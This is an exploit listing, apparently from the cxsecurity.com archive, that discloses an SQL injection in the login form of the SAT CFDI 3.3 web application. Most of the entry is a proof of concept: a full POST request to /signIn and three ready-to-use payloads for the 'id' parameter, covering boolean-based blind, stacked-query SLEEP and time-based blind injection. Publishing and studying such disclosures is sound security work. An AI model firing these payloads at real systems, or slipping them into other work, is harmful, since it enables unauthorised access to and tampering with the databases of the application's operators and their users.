SAT CFDI 3.3 SQL Injection

2018.05.25
Credit: AkkuS
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: SAT CFDI 3.3 - SQL Injection # Dork: N/A # Date: 2018-05-23 # Exploit Author: Azkan Mustafa AkkuA (AkkuS) # Vendor Homepage: https://www.wecodex.com/item/view/verification-and-validation-system-sat-cfdi-33/8 # Version: 3.3 # Category: Webapps # Tested on: Kali linux # Description : PHP Dashboards is prone to an SQL-injection vulnerability # because it fails to sufficiently sanitize user-supplied data before using # it in an SQL query.Exploiting this issue could allow an attacker to # compromise the application, access or modify data, or exploit latent # vulnerabilities in the underlying database. # PoC : SQLi : # Demo : https://Target # https://Target/signIn POST /signIn HTTP/1.1 Host: Target User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: https://Target/ Content-Length: 24 Cookie: PHPSESSID=7knfo298eprq0la2r77ph31jr3 Connection: keep-alive id=admin&password=123456 # Vulnerable Payload : # Parameter: id (POST) # Type: boolean-based blind # Title: AND boolean-based blind - WHERE or HAVING clause # Payload: id=admin" AND 3577=3577 AND "Stsj"="Stsj&password=123456 # Type: stacked queries # Title: MySQL > 5.0.11 stacked queries (comment) # Payload: id=admin";SELECT SLEEP(5)#&password=123456 # Type: AND/OR time-based blind # Title: MySQL >= 5.0.12 AND time-based blind # Payload: id=admin" AND SLEEP(5) AND "bWUR"="bWUR&password=123456


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top